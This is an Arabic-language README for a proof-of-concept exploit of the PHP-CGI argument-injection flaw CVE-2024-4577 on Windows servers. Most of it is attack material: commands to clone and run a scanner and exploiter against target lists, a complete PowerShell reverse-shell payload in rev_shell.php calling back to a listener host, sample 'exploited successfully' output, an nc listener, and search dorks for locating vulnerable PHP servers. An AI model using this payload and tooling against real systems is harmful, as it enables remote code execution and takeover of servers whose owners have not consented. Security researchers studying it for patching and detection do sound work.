
إثبات مفهوم لثغرة حقن وسائط CGI في PHP (CVE-2024-4577) تتيح تنفيذ التعليمات البرمجية عن بُعد على خوادم ويندوز الضعيفة مع إمكانيات المسح والحصول على شل عكسي.
في إصدارات PHP 8.1.* قبل 8.1.29، و8.2.* قبل 8.2.20، و8.3.* قبل 8.3.8، عند استخدام Apache وPHP-CGI على ويندوز، إذا كان النظام مهيئًا لاستخدام صفحات رموز معينة، فقد يستخدم ويندوز سلوك "Best-Fit" لاستبدال الأحرف في سطر الأوامر المُعطى لوظائف Win32 API. قد تُساء وحدة PHP CGI تفسير هذه الأحرف كخيارات PHP، مما قد يسمح لمستخدم ضار بتمرير خيارات إلى ملف PHP الثنائي الجاري تشغيله، وبالتالي الكشف عن كود المصدر للنصوص البرمجية، وتنفيذ كود PHP تعسفي على الخادم، إلخ.
"XAMPP عرضة للخطر في التكوين الافتراضي، ويمكننا استهداف نقطة النهاية /php-cgi/php-cgi.exe. لاستهداف نقطة نهاية .php (على سبيل المثال /index.php)، يجب تكوين الخادم لتشغيل نصوص PHP في وضع CGI."
$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt
$ python3 CVE-2024-4577.py -s -t https://target.com/
[!NOTE] توضح هذه الأداة تقنيات وتكتيكات وإجراءات هجومية واقعية (TTPs). ومع ذلك، فإن نموذج الحمولة هذا لا يعمل في هذا السيناريو. قم بتعديل shell.php للحصول على حمولة عملية كاملة.
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
المؤلف: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | إثبات المفهوم والفحص
[+] الهدف https://target.com قابل للاستغلال لثغرة CVE-2024-4577
$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
المؤلف: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | إثبات المفهوم والفحص
[+] تم الاستغلال بنجاح!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"تم توفير هذه الأداة لأغراض تعليمية وبحثية فقط. لا يتحمل المنشئ أي مسؤولية عن أي سوء استخدام أو ضرر ناتج عن الأداة.